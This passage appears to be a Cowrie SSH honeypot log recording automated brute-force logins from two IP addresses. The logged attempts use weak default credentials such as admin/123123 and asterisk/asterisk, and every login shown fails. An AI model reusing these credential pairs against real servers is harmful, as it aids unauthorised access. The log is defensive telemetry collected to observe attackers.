{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:07.668290Z","src_ip":"91.92.42.133","session":"2e5068396f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:08.353318Z","src_ip":"91.92.42.133","session":"2e5068396f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":52228,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d348763be2b","protocol":"ssh","message":"New connection: 91.92.40.171:52228 (159.203.135.109:22) [session: 5d348763be2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.238416Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.289536Z","src_ip":"91.92.40.171","session":"5d348763be2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.375496Z","src_ip":"91.92.40.171","session":"5d348763be2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456789","message":"login attempt [admin/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.705425Z","src_ip":"91.92.40.171","session":"5d348763be2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.897866Z","src_ip":"91.92.40.171","session":"e9210a816c91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:09.990736Z","src_ip":"91.92.42.133","session":"2e5068396f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:10.844722Z","src_ip":"91.92.40.171","session":"5d348763be2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:11.543871Z","src_ip":"91.92.40.171","session":"e9210a816c91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34180,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc43f03fd46","protocol":"ssh","message":"New connection: 91.92.42.133:34180 (159.203.135.109:22) [session: 3fc43f03fd46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:14.742983Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33610,"dst_ip":"159.203.135.109","dst_port":22,"session":"b683997a7a66","protocol":"ssh","message":"New connection: 91.92.40.171:33610 (159.203.135.109:22) [session: b683997a7a66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:14.853021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:14.870018Z","src_ip":"91.92.42.133","session":"3fc43f03fd46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:14.873794Z","src_ip":"91.92.42.133","session":"3fc43f03fd46","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:14.947733Z","src_ip":"91.92.40.171","session":"b683997a7a66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:15.038435Z","src_ip":"91.92.40.171","session":"b683997a7a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karel","password":"karel","message":"login attempt [karel/karel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:15.885465Z","src_ip":"91.92.40.171","session":"b683997a7a66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"Password1","message":"login attempt [sysupdate/Password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:15.912745Z","src_ip":"91.92.42.133","session":"3fc43f03fd46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:17.098363Z","src_ip":"91.92.40.171","session":"b683997a7a66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:17.148597Z","src_ip":"91.92.42.133","session":"3fc43f03fd46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":33668,"dst_ip":"159.203.135.109","dst_port":22,"session":"7681d8584a4e","protocol":"ssh","message":"New connection: 91.92.40.171:33668 (159.203.135.109:22) [session: 7681d8584a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.170048Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.273644Z","src_ip":"91.92.40.171","session":"7681d8584a4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.277036Z","src_ip":"91.92.40.171","session":"7681d8584a4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34276,"dst_ip":"159.203.135.109","dst_port":22,"session":"a5cfa07cf3b7","protocol":"ssh","message":"New connection: 91.92.42.133:34276 (159.203.135.109:22) [session: a5cfa07cf3b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.561572Z"}
{"eventid":"cowrie.login.failed","username":"asterisk","password":"asterisk","message":"login attempt [asterisk/asterisk] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.803042Z","src_ip":"91.92.40.171","session":"7681d8584a4e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.864670Z","src_ip":"91.92.42.133","session":"a5cfa07cf3b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:21.867903Z","src_ip":"91.92.42.133","session":"a5cfa07cf3b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:22.925938Z","src_ip":"91.92.40.171","session":"7681d8584a4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"1234","message":"login attempt [runner/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:22.967803Z","src_ip":"91.92.42.133","session":"a5cfa07cf3b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:24.416491Z","src_ip":"91.92.42.133","session":"a5cfa07cf3b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58060,"dst_ip":"159.203.135.109","dst_port":22,"session":"bc4d26ffe72e","protocol":"ssh","message":"New connection: 91.92.40.171:58060 (159.203.135.109:22) [session: bc4d26ffe72e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:27.328309Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:27.360653Z","src_ip":"91.92.40.171","session":"bc4d26ffe72e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:27.427751Z","src_ip":"91.92.40.171","session":"bc4d26ffe72e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"developer","message":"login attempt [developer/developer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:27.861194Z","src_ip":"91.92.40.171","session":"bc4d26ffe72e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:28.971427Z","src_ip":"91.92.40.171","session":"bc4d26ffe72e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":54102,"dst_ip":"159.203.135.109","dst_port":22,"session":"e632e205404c","protocol":"ssh","message":"New connection: 91.92.42.133:54102 (159.203.135.109:22) [session: e632e205404c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:29.174857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:29.471679Z","src_ip":"91.92.42.133","session":"e632e205404c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:29.475304Z","src_ip":"91.92.42.133","session":"e632e205404c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teamspeak","password":"123456","message":"login attempt [teamspeak/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:30.044574Z","src_ip":"91.92.42.133","session":"e632e205404c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:31.156061Z","src_ip":"91.92.42.133","session":"e632e205404c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":58186,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2acf1783b25","protocol":"ssh","message":"New connection: 91.92.40.171:58186 (159.203.135.109:22) [session: d2acf1783b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:33.502797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:05:33.558042Z","src_ip":"91.92.40.171","session":"d2acf1783b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nist